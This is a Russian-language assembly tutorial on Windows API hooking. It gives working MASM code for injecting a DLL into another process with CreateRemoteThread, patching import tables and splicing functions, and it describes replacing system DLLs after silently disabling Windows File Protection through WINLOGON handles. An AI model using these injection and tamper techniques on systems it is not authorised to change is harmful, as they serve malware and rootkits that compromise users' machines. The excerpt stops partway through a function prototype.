  2. ;----------------------------------------------------------------------------
  3. ;               DLL.def
  4. ;----------------------------------------------------------------------------
  5. LIBRARY DLL
  6. EXPORTS TestFunction
  7. ;----------------------------------------------------------------------------

Пример Закончен.

Где LIBRARY – имя библиотеки, EXPORTS – имя функции, которая экспортируется из DLL(EXPORTS может быть несколько). Необходимо при вызове DLLMain сохранять регистры esi,edi,ebx,ebp и восстанавливать их при выходе из DllMain.

Для компиляции DLL нужно создать как обычно объектный файл, а для линковки используйте следующую строку:

link /DLL /SUBSYSTEM:WINDOWS /DEF:DLL.def DLLSkeleton.obj

Видите, ключ /DLL указывает на установку флага DLL в файловом заголовке.

Внедрение и исполнение удаленного кода

Внедрить DLL в адресное пространство постороннего процесса можно несколькими способами. А именно: с помощью реестра, с помощью хуков, с помощью удаленных потоков, с помощью замены оригинальной DLL, а также DLL можно внедрить как отладчик или через функцию KERNEL32.DLL!CreateProcess. Все эти способы описаны в книгe Джеффри Рихтера «Windows для профессионалов». Можно также и даже проще внедрить просто посторонний код в чужой процесс. Хотя в этом случая потребуется время на его создание. Но мы-то с Вами знаем теперь как делать такой код.

Я буду использовать метод внедрения DLL с помощью удаленных потоков, т.к. он является самым гибким. Но вы можете использовать любой другой. Это совершенно не принципиально, главное чтобы внедрение происходило правильно и в нужные приложения. Методы внедрения, конечно, отличаются друг от друга и налагают некоторые ограничения.

Windows предоставляет функцию, которая называется KERNEL32.DLL!CreateRemoteThread. Она позволяет создать новый поток внутри удаленного процесса. Мы заставляем вызвать функцию KERNEL32.DLL!LoadLibrary потоком целевого процесса для загрузки нужной DLL. Одним из параметров функции KERNEL32.DLL!CreateRemoteThread является lpStartAddress, который означает адрес процедуры потока. Процедура потока принимает один параметр. KERNEL32.DLL!LoadLibrary принимает также один параметр. Т.е. как стартовый адрес удаленного потока мы можем указать адрес функции KERNEL32.DLL!LoadLibrary. При этом мы пользуемся тем, что KERNEL32.DLL проецируется во всех виртуальных адресных пространствах по одному и тому же адресу и из этого соображения предполагаем, что в  удаленном процессе функция KERNEL32.DLL!LoadLibrary тоже находиться по тому же адресу что и в нашем процессе. 

Еще один важный момент заключается в параметре, который передается потоку и соответственно функции LoadLibrary. Мы должны передать адрес строки с именем функции. Адрес этот должен обязательно находиться в адресном пространстве целевого процесса, т.е. мы должны скопировать эту строку туда. Выделения виртуальной памяти в удаленном процессе производиться c помощью функции KERNEL32.DLL!VirtualAllocEx. Осуществлять запись и чтение памяти чужого процесса можно с помощью функций KERNEL32.DLL!WriteProcessMemory и KERNEL32.DLL!ReadProcessMemory соответственно. Освободить выделенный регион можно с помощью функции KERNEL32.DLL!VirtualFreeEx.

Вот код программы с помощью, которой внедряется DLL:

Пример:

Код (Text):
  1.  
  2.         ;=======================================================
  3.         ;       П Р О Г Р А М М А                   
  4.         ; Внедрение DLL в адресное пространство чужого процесса          
  5.         ; Дата: 01.07.2005                           
  6.         ; Автор: Bill Prisoner / TPOC                       
  7.         ;=======================================================
  8.  
  9. ;===============================================================================
  10. ;           Options and Includes                           
  11. ;===============================================================================
  12. .386
  13. option casemap:none
  14. .model flat,stdcall
  15. include \tools\masm32\include\windows.inc
  16. includelib \tools\masm32\lib\kernel32.lib
  17. include \tools\masm32\include\kernel32.inc
  18. include \tools\masm32\include\user32.inc
  19. includelib \tools\masm32\lib\user32.lib
  20. include \tools\masm32\include\advapi32.inc
  21. includelib \tools\masm32\lib\advapi32.lib
  22. ;===============================================================================
  23.  
  24. ;===============================================================================
  25. ;           Initialized Data Section
  26. ;===============================================================================
  27. .data                                                      
  28.     lib db "c:\\dll.dll",0;имя DLL, которую внедряем в чужой процесс                
  29.     dwSize equ $-lib;Размер строки с именем DLL
  30.     kernelName db "kernel32.dll",0;Имя Kernel32.dll
  31.     loadlibraryName db "LoadLibraryA",0;Имя функции LoadLibraryA
  32.     _LoadLibrary dd 0;Адрес функции LoadLibrary            
  33.     ParameterForLoadLibrary dd 0;Адрес строки с именем DLL в чужом процессе
  34.     ThreadId dd 0;Идентификатор треда                
  35.     PID dd 1700;Идентификатор целевого процесса               
  36. ;===============================================================================
  37.  
  38. ;===============================================================================
  39. ;           Uninitialized Data Section                         
  40. ;===============================================================================
  41. .data?                                     
  42.     hProcess dd ?                              
  43. ;===============================================================================
  44.  
  45. ;===============================================================================
  46. ;               Code Section                   
  47. ;===============================================================================
  48. .code
  49. start:
  50.     ;Открываем процесс куда будем внедрять DLL
  51.     invoke OpenProcess,PROCESS_CREATE_THREAD or PROCESS_VM_WRITE or \
  52.     PROCESS_VM_OPERATION,0,PID
  53.     mov hProcess,eax
  54.     ;Получаем описатель модуля Kernel32.dll
  55.     invoke GetModuleHandle,offset kernelName
  56.     ;Получаем адрес функции LoadLibrary
  57.     invoke GetProcAddress,eax,offset loadlibraryName
  58.     mov _LoadLibrary,eax
  59.     ;Выделяем память в удаленном процессе
  60.     invoke VirtualAllocEx,hProcess,NULL,dwSize,MEM_RESERVE or MEM_COMMIT, \
  61.            PAGE_READWRITE
  62.     mov ParameterForLoadLibrary,eax
  63.     ;Запись строки с именем DLL в АП чужого процесса
  64.     invoke WriteProcessMemory,hProcess,eax,offset lib,dwSize,NULL
  65.     ;Создаем удаленный поток, который вызывает LoadLibrary,
  66.     ;тем самым внедряем DLL в адресное пространство чужого процесса.  
  67.     invoke CreateRemoteThread,hProcess,NULL,NULL,_LoadLibrary, \
  68.            ParameterForLoadLibrary,NULL,offset ThreadId
  69.     invoke ExitProcess,0
  70. end start
  71. ;===============================================================================
  72. ;               End Program
  73. ;===============================================================================

Пример Закончен.

После внедрения DLL вызывается DllMain с параметром DLL_PROCESS_ATTACH. Именно при обработке этого параметра мы устанавливаем перехватчик.

Способы перехвата функций

Правка таблицы импорта

При вызове Win32-приложением функции экспортируемой из другого модуля, например

CALL MessageBoxA,0

компилятор генерирует код следующего вида:

CALL X, где X – адрес переходника вида jmp dword ptr [Y], где Y – адрес адреса функции в IAT(Import Address Table), которую заполняет при загрузке модуля загрузчик. При особой настройке компилятора вызов может быть таким CALL DWORD PTR [Y]. Суть метода перехвата заключается в том, чтобы править значения, которые находятся по адресу Y, т.е. правка значений в таблице адресов импорта. Сначала мы сохраняем реальный адрес перехватываемой функции. Потом проходимся по IAT и правим этот реальный адрес на адрес нашего обработчика. Но править придется IAT всех модулей в данный момент загруженный в АП процесса, а также всех динамически подгружаемых. В первом случае необходимо решить задачу получения списка всех модулей загруженных в АП процесса. Во втором случае мы должны перехватывать функции LoadLibraryA, ; LoadLibraryW, LoadLibraryExA, LoadLibraryExW. Также необходимо сделать так, чтобы функция GetProcAddress возвращала адрес нашего перехватчика, если вдруг жертва захочет получить реальный адрес функции, которую мы перехватываем. Это можно делать двумя способами – перехватом GetProcAddress или правкой таблицы экспорта модуля, где находиться перехватываемая функция. У этого способа есть один очень большой недостаток – функции, которые не содержатся в таблице импорта, перехватываться не будут, если только мы не будем осуществлять перехват прямо при начальной загрузке процесса. Обычно перехват делается для процесса, который уже работает. Например, программа получает адрес функции с помощью GetProcAddress, а потом мы уже делаем перехват. Тогда программа минует наш обработчик и вызовет правильную функцию.

Сначала я опишу процедуру, которая правит IAT указанного одним из параметров модуля. Я назвал эту процедуру EdiIATLocal. Например, мы перехватываем функцию, адрес которой X. Тогда процедура EditIATLocal  анализирует таблицу импорта указанного модуля и если она встречает там адрес X, то функция меняет X на адрес нашего обработчика, который также передается как параметр функции.

Пример:

Код (Text):
  1.  
  2. ;===============================================================================;
  3. ;Процедура EditIATLocal                           
  4. ;Описание:
  5. ;Перехват вызовов функций редактированием IAT в одном модуле
  6. ;Вход: Address адрес внутри файла в памяти
  7. ;   ModName - указатель на имя модуля, IAT которого мы будем править. Регистр
  8. ;   не важен.
  9. ;   Orig - адрес функции, которую перехватываем
  10. ;   New - адрес нашего обработчика
  11. ;   ModHandle - описатель модуля, где находиться функция для перехвата.
  12. ;   Например, описатель KERNEL32.DLL
  13. ;Выход: 1 - перехватили, 0 - не перехватили
  14. ;===============================================================================;
  15. EditIATLocal proc ModName:DWORD, Orig:DWORD, New:DWORD, ModHandle:DWORD
  16. LOCAL OldProtect:DWORD
  17. ;Получаем адрес таблицы директорий
  18.     mov eax,ModHandle
  19.     assume eax:ptr IMAGE_DOS_HEADER
  20.     add eax,[eax].e_lfanew
  21.     add eax,4
  22.     add eax,sizeof IMAGE_FILE_HEADER   
  23.     mov edi,eax
  24.     assume edi:ptr IMAGE_OPTIONAL_HEADER
  25.     lea edi,[edi].DataDirectory
  26.     mov eax,edi
  27. ;Получаем адрес таблицы импорта
  28.     assume eax:ptr IMAGE_DATA_DIRECTORY
  29.     lea eax,[eax+(sizeof IMAGE_DATA_DIRECTORY)*IMAGE_DIRECTORY_ENTRY_IMPORT]
  30.     .IF dword ptr [eax]==0
  31.         move ax,FALSE
  32.         ret;Нет таблицы импорта
  33.     .ENDIF
  34.     mov esi,ModHandle
  35.     add esi,dword ptr [eax];В esi - адрес таблицы импорта
  36.     assume esi:PTR IMAGE_IMPORT_DESCRIPTOR
  37. NextDLL:;очередная запись в таблице импорта
  38.     .IF [esi].Name1==NULL;Конец таблицы импорта?
  39.         mov eax,FALSE
  40.         ret
  41.     .ENDIF
  42.     mov ecx,[esi].Name1
  43.     add ecx,ModHandle
  44.     invoke lstrcmpi,ModName,ecx;тот ли это модуль?
  45.     .IF EAX!=0
  46.         add esi,sizeof IMAGE_IMPORT_DESCRIPTOR
  47.         jmp NextDLL
  48.     .ENDIF
  49. ;Если дошли до сюда, то нашли имя модуля
  50.     mov edi,ModHandle
  51.     add edi,[esi].FirstThunk;В EDI - IAT
  52.     assume edi:PTR IMAGE_THUNK_DATA
  53. NextFunction:;перебираем все импортируемые функции
  54.     .IF [edi].u1.Function==0;IAT закончилась
  55.         add esi,sizeof IMAGE_IMPORT_DESCRIPTOR
  56.         jmp NextDLL
  57.     .ENDIF
  58.     mov eax,[edi].u1.Function
  59.     .IF Orig==eax;Нашли!!!
  60.     ;Разрешим запись на нужную страницу
  61.         invoke VirtualProtect,edi,4,PAGE_EXECUTE_READWRITE,ADDR OldProtect
  62.         call GetCurrentProcess
  63.         mov ecx,eax
  64.         lea eax,New
  65.         ;Сменим адрес функции на адрес обработчика
  66.         invoke WriteProcessMemory,ecx,edi,eax,4,NULL
  67.         ;Воостановим прежние аттрибуты
  68.         invoke VirtualProtect,edi,4,OldProtect,ADDR OldProtect
  69.         mov eax,TRUE
  70.         ret
  71.     .ENDIF 
  72.     add edi,sizeof IMAGE_THUNK_DATA
  73.     jmp NextFunction
  74. EditIATLocal endp
  75. ;===============================================================================;

Пример Закончен.

А процедура EditIATGlobal правит IAT всех модулей процесса, в котором она вызывается. Мы вызываем ее в процедуре DllMain DLL, которую мы будет внедрять в адресное пространство процесса-жертвы. Она просто перечисляет все модули в адресном пространстве текущего процесса с помощью ToolHelp-функций, а потом последовательно вызывает для каждого модуля процедуру EditIATLocal, которую я описал чуть выше.

Пример:

Код (Text):
  1.  
  2. ;===============================================================================;
  3. ;Процедура EditIATGlobal                          
  4. ;Описание:
  5. ;Перехват вызовов функций редактированием IAT во всех модулях процесса
  6. ;Вход: Address адрес внутри файла в памяти
  7. ;   ModName - указатель на имя модуля, IAT которого мы будем править.
  8. ;   Регистр не важен.
  9. ;   Orig - адрес функции, которую перехватываем
  10. ;   New - адрес нашего обработчика
  11. ;Выход: нет
  12. ;===============================================================================;
  13. EditIATGlobal proc ModName:DWORD, Orig:DWORD, New:DWORD
  14. LOCAL Current:DWORD
  15. LOCAL hSnap:DWORD
  16.     push offset NextMod
  17.     call GetBase
  18.     mov Current,eax;Получили хэндл своего модуля
  19.     mov ecx,eax
  20.     invoke CreateToolhelp32Snapshot,TH32CS_SNAPMODULE,NULL
  21.     mov hSnap,eax
  22.     mov ModEntry.dwSize,sizeof MODULEENTRY32
  23.     invoke Module32First,hSnap,offset ModEntry
  24. NextMod:
  25.     mov eax,Current
  26.     .IF eax!=ModEntry.hModule;В своем модуле не будем перехватывать!
  27.         push ModEntry.hModule
  28.         push New
  29.         push Orig
  30.         push ModName
  31.         call EditIATLocal;Перехватываем в этом модуле
  32.     .ENDIF
  33.     invoke Module32Next,hSnap,offset ModEntry;Следующий модуль
  34.     .IF eax!=0
  35.         jmp NextMod
  36.     .ENDIF
  37.     invoke CloseHandle,hSnap
  38.     mov eax,1
  39.     ret
  40. EditIATGlobal endp
  41. ;===============================================================================;

Пример Закончен.

В функции DLLMain DLL, которую мы впоследствии будем внедрять во все процессы мы должны обрабатывать reason следующим образом:

Пример:

Код (Text):
  1.  
  2. DllEntry proc hInstance:HINSTANCE, reason:DWORD, reserved1:DWORD
  3.     push esi
  4.     push edi
  5.     push ebx
  6.     push ebp
  7.     .if reason==DLL_PROCESS_ATTACH
  8.         ;Получаем описатель модуля, где нах-ся перехватываемая функция
  9.         invoke GetModuleHandle,offset nt
  10.         invoke GetProcAddress,eax,offset Exitstr;ExitStr - имя перехватываемой функции
  11.         push offset start
  12.         push eax
  13.         push offset nt
  14.         ;Устанавливаем перехват функции Exitstr из модуля nt.
  15.         call EditIATGlobal
  16.     .elseif reason==DLL_PROCESS_DETACH
  17.  
  18.     .elseif reason==DLL_THREAD_ATTACH
  19.  
  20.     .else        ; DLL_THREAD_DETACH
  21.  
  22.     .endif
  23.     pop ebp
  24.     pop ebx
  25.     pop edi
  26.     pop esi
  27.     mov  eax,TRUE
  28.     ret
  29. DllEntry Endp

Пример Закончен.

Простой пример – перехват MessageBox

Я приложил к статье исходный код DLL, которая перехватывает функции USER32.DLL!MessageBoxA и USER32.DLL!MessageBoxW в целевом процессе. Файлы исходного кода этой DLL находиться в папке HookMessBox. Чтобы посмотреть как работает перехват этих функций Вы можете использовать для внедрения мою программу DLL Injector. Например, попробуйте внедрить эту DLL в блокнот, напечатать чего-нибудь и потом нажать на крестик закрытия окна.

Перехват LoadLibrary

Чтобы распространить перехват на новые подгружаемые DLL, необходимо перехватывать KERNEL32.DLL!LoadLibrary. Используя функцию EditIATLocal Вы сможете с легкостью перехватить вызов KERNEL32.DLL!LoadLibrary таким образом, чтобы после загрузки новой DLL она сразу же обрабатывалась.

Сплайсинг

                Сначала определяется адрес функции, которую надо перехватить. Первый несколько байт данной функции заменяются на переход к нашему обработчику. Теперь, если будет вызвана перехватываемая функция, то произойдет переход на наш обработчик. Если нужно вызвать оригинальную функцию, то необходимо восстановить исходные байты. С помощью этого метода перехватываются абсолютно все вызовы из любых модулей, и при этом не надо делать ничего дополнительного. Этот метод хорош во всех отношениях, если бы не одно НО…Люди, которые понимают что-нибудь в многозадачности сразу учуяли что-то не-то. Представьте, что какой-то поток правит начало функции джапмом, но вдруг ОС отнимает у него управление и передает его другому потоку. А тот обращается к недоконца подправленной функции. В итоге произойдет ошибка и приложение, скорее всего, слетит. Есть решение этой проблемы, - останавливать все потоки, когда начало функции правиться и когда вызывается ее перехватчик (ведь перехватчик тоже правит начало функции, чтобы вызывать ее оригинал). Все эти вещи реализуются очень просто. Давайте рассмотрим функции, которые приостанавливают и запускают потоки, соответственно. Нашей задачей опять будет перехват функций USER32.DLL!MessageBoxA.

Пример:

Код (Text):
  1.  
  2. ;Приостановка всех потоков, кроме вызывающего
  3. SuspendThreads proc
  4.     invoke GetModuleHandle,offset kern
  5.     invoke GetProcAddress,eax,offset OpenThreadStr
  6.     mov _OpenThread,eax
  7.     invoke GetCurrentThreadId
  8.     mov CurrThread,eax
  9.     invoke GetCurrentProcessId
  10.     mov CurrProcess,eax
  11.  
  12.     invoke CreateToolhelp32Snapshot,TH32CS_SNAPTHREAD,0
  13.     .if eax==-1
  14.         xor eax,eax
  15.         ret
  16.     .endif
  17.     mov hSnap,eax
  18.     mov Thread.dwSize,sizeof THREADENTRY32
  19.     invoke Thread32First,hSnap,offset Thread
  20.     .if eax==0
  21.         xor eax,eax
  22.         ret
  23.     .endif
  24. NextThread:
  25.     mov eax,CurrThread
  26.     mov edx,CurrProcess
  27.     .if (Thread.th32ThreadID!=eax)&&(Thread.th32OwnerProcessID==edx)
  28.         push Thread.th32ThreadID
  29.         push NULL
  30.         push THREAD_SUSPEND_RESUME
  31.         call _OpenThread
  32.         mov ThreadHandle,eax
  33.         .if ThreadHandle>0
  34.             invoke SuspendThread,ThreadHandle
  35.             invoke CloseHandle,ThreadHandle
  36.         .endif
  37.     .endif
  38.     invoke Thread32Next,hSnap,offset Thread
  39.     .if eax!=0
  40.         jmp NextThread
  41.     .endif
  42.     invoke CloseHandle,hSnap
  43.     ret
  44. SuspendThreads endp

Пример Закончен.

Пример:

Код (Text):
  1.  
  2. ;Возобновление всех потоков
  3. ResumeThreads proc
  4.     invoke GetModuleHandle,offset kern
  5.     invoke GetProcAddress,eax,offset OpenThreadStr
  6.     mov _OpenThread,eax
  7.     invoke GetCurrentThreadId
  8.     mov CurrThread,eax
  9.     invoke GetCurrentProcessId
  10.     mov CurrProcess,eax
  11.  
  12.     invoke CreateToolhelp32Snapshot,TH32CS_SNAPTHREAD,0
  13.     .if eax==-1
  14.         xor eax,eax
  15.         ret
  16.     .endif
  17.     mov hSnap,eax
  18.     mov Thread.dwSize,sizeof THREADENTRY32
  19.     invoke Thread32First,hSnap,offset Thread
  20.     .if eax==0
  21.         xor eax,eax
  22.         ret
  23.     .endif
  24. NextThread:
  25.     mov eax,CurrThread
  26.     mov edx,CurrProcess
  27.     .if (Thread.th32ThreadID!=eax)&&(Thread.th32OwnerProcessID==edx)
  28.         push Thread.th32ThreadID
  29.         push NULL
  30.         push THREAD_SUSPEND_RESUME
  31.         call _OpenThread
  32.         mov ThreadHandle,eax
  33.         .if ThreadHandle>0
  34.             invoke ResumeThread,ThreadHandle
  35.             invoke CloseHandle,ThreadHandle
  36.         .endif
  37.     .endif
  38.     invoke Thread32Next,hSnap,offset Thread
  39.     .if eax!=0
  40.         jmp NextThread
  41.     .endif
  42.     invoke CloseHandle,hSnap
  43.     ret
  44. ResumeThreads endp

Пример Закончен.

В процедуру ResumeThreads не учитывается, что поток можем остановить не мы. Но это допущение для большинства приложений не является критическим.

Простой пример – перехват MessageBox

После того, как мы нашли реальный адрес функции MessageBoxA, мы сохраняет старые 6 байт по некоторому адресу. Далее мы записываем по этому адресу переход на наш обработчик. Код перехода выглядит так:

Пример:

Код (Text):
  1.  
  2. code1 label byte
  3.     db 68h ;ОПКОД команды PUSH
  4.     Hooker1 dd 0;ОПЕРАНД команды PUSH
  5.     db 0c3h;ОПКОД RET
  6. size_code1 equ $-code1

Пример Закончен.

А вот функция, которая как раз делает то, к чему мы стремились – осуществляет перехват:

Пример:

Код (Text):
  1.  
  2. SetHook proc NameFunc:dword,NameModul:dword
  3.     invoke GetModuleHandle,NameModul
  4.     invoke GetProcAddress,eax,NameFunc
  5.     mov RealAddr1,eax;сохраняем адрес перехватываемой функции
  6.     invoke ReadProcessMemory,-1,RealAddr1,offset Old_Code1,size_code1,0
  7.     mov Hooker1,offset Hooker
  8.     invoke WriteProcessMemory,-1,RealAddr1,offset code1,size_code1,0
  9.     ret
  10. SetHook endp

Пример Закончен.

Также нужен код, который позволяет выполнить оригинальную функцию, т.е. временно убрать перехват:

Пример:

Код (Text):
  1.  
  2. TrueMessageBoxA proc x:dword,x1:dword,x2:dword,x3:dword
  3.     call SuspendThreads
  4.     ;восстанавливаем старые байты
  5.     invoke WriteProcessMemory,-1,RealAddr1,offset Old_Code1,size_code1,0
  6.     push x3
  7.     push x2
  8.     push x1
  9.     push x
  10.     call MessageBoxA;вызываем оригинальную функцию MessageBoxA
  11.     push eax
  12.     invoke WriteProcessMemory,-1,RealAddr1,offset code1,size_code1,0;восстанавливаем перехват
  13.     call ResumeThreads
  14.     pop eax
  15.     ret
  16. TrueMessageBoxA endp

Пример Закончен.

А вот и сам перехватчик. Т.е. код на который мы прыгаем, при вызове перехватываемой функции.

Пример:

Код (Text):
  1.  
  2. Hooker proc x:dword,x1:dword,x2:dword,x3:dword
  3.     push x3
  4.     push offset TitleMessage
  5.     push offset TextMessage
  6.     push x
  7.     call TrueMessageBoxA
  8.     ret
  9. Hooker endp

Пример Закончен.

Сплайсинг с сохранением оригинальной функции

Когда мы устанавливаем перехват с помощью сплайсинга, мы затираем первые несколько байт оригинальной функции. Если мы используем относительный JMP, то мы затираем первые 5 байт. Перед затиркой мы сохраняем эти 5 байт.  Когда нам нужно вызвать оригинальную функцию, мы записываем сохраненные байты по адресу точки входа функции. Вот здесь есть проблеме связанная с реентерабельностью. Мы можем избавиться от этой проблемы. Мы должны всего лишь сохранить первые инструкции, размер которых больше или равно 5 байтам  (в случае, если мы затираем начало функции относительным JMP). Тогда если мы хотим вызвать оригинальную функцию, мы вызываем инструкции по адресу, по которому мы сохраняли затертые инструкции. После выполнения этих затертых инструкций мы выполняем инструкцию JMP на адрес в перехватываемой функции, где начинается следующая инструкция. Таким образом, логика работы оригинальной функции совершенно не меняется. При этом мы можем ее вызывать без особых функций. Самая главная здесь сложность – это как определить начало следующей инструкции, т.е. здесь нам необходим дизассемблер длин. Ему на вход подается адрес, а выход – это количество байт, занимаемых инструкцией по входному адресу.

Чтобы понять смысл этого метода рассмотрим простой пример.  Во-первых, определим место, куда мы будем копировать инструкции, которые могут быть затерты. Мы сделаем это так:

Код (Text):
  1.  
  2. old_func db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, \
  3.             090h, 090h, 090h, 090h, 090h, 090h, 090h, 0e9h, 000h, \
  4.             000h, 000h, 000h

Мы будем сохранять инструкции по адресу old_func. Мы оставляем место для некоторого количества инструкций. Мы заполняем оставшееся место в буфере 090h, т.к. эта инструкция ничего не делает, в результате её выполнения просто инкрементируется регистр EIP. В конце буфера мы ставим относительный JMP, адрес, куда мы будем переходить в этой инструкции, мы потом должны заполнить. При вызове оригинальной функции мы вызываем ее так: CALL old_func

                Допустим, мы перехватываем функцию Sleep.

До перехвата она выглядит так:

Код (Text):
  1.  
  2. KERNEL32.Sleep:
  3. 77E86779: 6A00 PUSH 0
  4. 77E8677B: FF742408 PUSH DWORD PTR [ESP+8]
  5. 77E8677F: E803000000 CALL Kernel32.SleepEx
  6. 77E86784: C20400 RET 00004H

С помощью дизассемблера длин мы вычисляем  последовательно длины команд. Если с начала функции сумма длин команд больше или равно 5, то сохраняем обработанные инструкции по адресу old_func. Для функции Sleep мы сохраняем 6 байт, т.е. два PUSH’а. Также мы запоминаем адрес 77E8677F – после выполнения двух PUSH’ей мы джампим на этот адрес.

После установки перехвата функция Sleep примет следующий вид:

Код (Text):
  1.  
  2. KERNEL32.Sleep:
  3. 77E86779: E937A95788 JMP 0004010B5H; 0004010B5H - адрес обработчика
  4. 77E8677E: 08    ?
  5. 77E8677F: E803000000 CALL Kernel32.SleepEx
  6. 77E86784: C20400 RET 00004H

А код old_func будет таким:

Код (Text):
  1.  
  2. old_func:
  3. 00403027: 6A00 PUSH 0
  4. 00403029: FF742408 PUSH DOWRD PTR [ESP+8]
  5. 0040302D: 90 NOP
  6. 0040302E: 90 NOP
  7. 0040302F: 90 NOP
  8. 00403030: 90 NOP
  9. 00403031: 90 NOP
  10. 00403032: 90 NOP
  11. 00403033: 90 NOP
  12. 00403034: 90 NOP
  13. 00403035: 90 NOP
  14. 00403036: 90 NOP
  15. 00403037: E94337A877 JMP KERNEL32.77E8677F

Таким образом, если мы хотим вызывать оригинальную функцию мы вызываем old_func – это и будет оригинальной функцией. old_func называется функцией-трамплином (trampoline function).

                Этот метод используется в продукте для перехвата функций, который называется Detours.

                Описанный способ не может работать если функция занимает меньше 5 байт. Эту проблему можно решить с помощью перехода не командой JMP, а командой INT 3(наш перехватчик в итоге будет обработчиком необработанных исключений). Команда INT 3 занимает 1 байт. Но производительность этого способа оставляет желать лучшего.

Перехват правкой системных библиотек на жестком диске

                Можно разделить способы перехвата на перехват до запуска модуля и перехват после запуска модуля. При перехвате до запуска модуля, используется техника правки системных библиотек на жестком диске. Для этого необходимо проделать следующие шаги:

  1. Отключить защиту файлов ОС Windows (Windows File Protection).
  2. Переименовать файл системной библиотеки, которую мы заменяем.
  3. Создать правленую библиотеку и скопировать ее с оригинальным названием в системный каталог Windows, где она и была.
  4. После перезагрузки перехват будет глобален для всех процессов и для этого не нужно ничего более.

Чтобы осуществить все перечисленные шаги необходимо знать, что такое Windows File Protection и как его отключать без перезагрузки системы.

Windows File Protection

                Windows File Protection – это сервис ОС, который защищает системные файлы ОС от изменения, повреждения или удаления. Впервые WFP появился в ОС Windows Millennium Edition. До появления WFP любая программа могла заменить системную библиотеку, что многие программы и делали при инсталляции. Из-за этого другие программы переставали работать и при этом могли забрать систему с собой в мир иной :smile3: Такое положение вещей назвали “DLL Hell”. В Windows Millennium Edition все системные SYS, DLL, EXE, and OCX защищены. В дополнение TrueType шрифты Micross.ttf, Tahoma.ttf, и Tahomabd.ttf также защищены. Если происходит изменение, модификация или удаление защищенного файла, то система восстанавливает его из кэша DLL, который по умолчанию находиться в папке:

%SYSTEMROOT%\system32\dllcache

Этот путь можно изменить, изменив значение параметра реестра:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon\SFCDllCacheDir

Чтобы узнать, что был заменен какой-то из файлов, Windows просматривает каталоги безопасности и сверяет цифровые подписи. Если подпись какого-файла не соответствует подписи в каталоге безопасности, то Windows берет файлы из кэша.  Потом Windows ищет эти файлы в сети, если была произведена установка оп сети. Если данный файл отсутствует в кэше и в сети, то Windows требует вставить оригинальный диск ОС. Можно включить принудительную проверку всех файлов ОС Windows с помощью утилиты sfc, которая доступна в стандартной комплектации ОС. Также при обнаружении исправленного или удаленного системного файл WFP записывает событие в лог событий, который можно посмотреть с помощью оснастки Event Log (%windir%\system32\eventvwr.msc). Следующие механизмы позволяют изменять системные файлы, не смотря на Windows File Protection:

  • установка Windows Service Pack с использованием Update.exe
  • установка хотфиксов с использованием Hotfix.exe
  • Обновление ОС с использованием Winnt32.exe
  • Windows Update

Чтобы без шума добраться до системных файлов и отредактировать их мы должны отключить WFP. Есть несколько способов сделать это. Например, с помощью редактирования реестра или с помощью правки файла sfc.dll или sfc_os.dll. Но эти способы теряют свою актуальность, потому что они либо работали с какой-то конкретной ОС, либо требуют перезагрузки и/или входа в безопасный режим ОС.  Но есть способ отключения WFP прямо при работе. Давайте его и рассмотрим.

Отключение Windows File Protection на лету

WFP держится на двух DLL – SFC.DLL, SFC_OS.DLL. А код, который использует эти DLL находиться в WINLOGON.EXE. Модуль SFC_OS.DLL экспортирует функцию, которая экспортируется не по имени, а по ординалу и имеет ординал 1. Эта функция запускает систему защиты файлов. Если покопаться в коде этой функции, то можно увидеть, что она вызывает функцию NTDLL.DLL!NtNotifyChangeDirectoryFile. Это недокументированная функция, но на ней основывается другая функция, которая называется KERNEL32.DLL!FindFirstChangeNotification. Эта функция возвращает описатель, который можно использовать в функциях ожидания, например KERNEL32.DLL!WaitForSingleObject. Т.е. WFP устанавливает систему нотификации на системные папки. Если файлы в папке изменяются, то WFP сразу на это реагирует. Все что нам требуется чтобы отключить WFP – это закрыть все описатели, которые были возвращены NTDLL.DLL!NtNotifyChangeDirectoryFile. Эти описатели типа «файл». Если мы захотим отключить WFP, когда система работает, и если мы не хотим писать код, можно просто запустить утилиту Process Explorer или подобную ей, чтобы закрыть хэндлы объектов «файл». Например,

File Object            –             C:\WINDOWS\SYSTEM32\.

Закрывая этот описатель, мы можем изменять файлы в папке C:\WINDOWS\SYSTEM32 и Windows ничего не скажет. При реализации кода процедуры отключения WFP необходимо знать, как получить хэндлы открытых описателей. Это делается с помощью функции NtQuerySystemInformation. В MSDN она документирована, но не полностью и того, что нам нужно там нет. Приходиться использовать справочник Гарри Нэббета “Windows NT 2000 Native API Reference”.

                Чтобы отключить таким образом WFP, необходимы отладочные привилегии, т.к. нам приходиться открывать процесс WINLOGON.EXE. А для того чтобы получить отладочные привилегии, необходимы привилегии администратора. Из этого следует, что этот способ будет работать только под учетной записью администратора или используя имперсонацию.

Для начала получаем идентификатор процесса WINLOGON.EXE. Он нужен для того, чтобы отличать хэндлы процесса WINLOGON.EXE от всех остальных. Чтобы получить идентификатор по имени модуля, используем функцию GetPIDbyName:

Пример:

Код (Text):
  1.  
  2. ;===============================================================================;
  3. ;           Процесс по имени
  4. ;===============================================================================;
  5. GetPIDbyName proc Str1:DWORD
  6. LOCAL pe:PROCESSENTRY32
  7. LOCAL hSnap:DWORD
  8.     invoke CreateToolhelp32Snapshot,TH32CS_SNAPPROCESS,0
  9.     mov hSnap,eax
  10.     mov pe.dwSize,sizeof pe
  11.     invoke Process32First,hSnap,addr pe
  12.     .if eax==0
  13.         ret
  14.     .endif
  15. next_process:
  16.     invoke Process32Next,hSnap,addr pe
  17.     .if eax==0
  18.         ret
  19.     .endif
  20.     invoke lstrcmpi,addr pe.szExeFile,Str1
  21.     .if eax==0
  22.         mov eax,pe.th32ProcessID
  23.         ret
  24.     .endif
  25.     jmp next_process
  26. GetPIDbyName endp
  27. ;===============================================================================;

Пример Закончен.

В функции GetPIDbyName используем Toolhelp-функции для перечисления процессов в системе. Мы сравниваем имя полученного модуля со статической строкой “WINLOGON.EXE”. Сравнение идет с помощью API-функции lstrcmpi. Эта функция сравнивает строки не учитывая во внимание регистр символов.

                Далее нам необходимо получить список всех описателей процесса WINLOGON.EXE. Но в ОС Windows нет функции, которая позволила бы получить описатели для конкретного процесса. Однако, как Вы уже знаете описатели можно получить с помощью Native функции NtQuerySystemInformation. Часть описания этой функции доступно в MSDN, но этого нам не достаточно. Более того там написано неправильно!!! :( Посмотрите на прототип этой функции:

Код (Text):
  1.  
  2. NTSTATUS NtQuerySystemInformation(
  3.   SYSTEM_INFORMATION_CLASS SystemInformationClass,
  4.   PVOID SystemInformation,
  5.   ULONG SystemInformationLength,
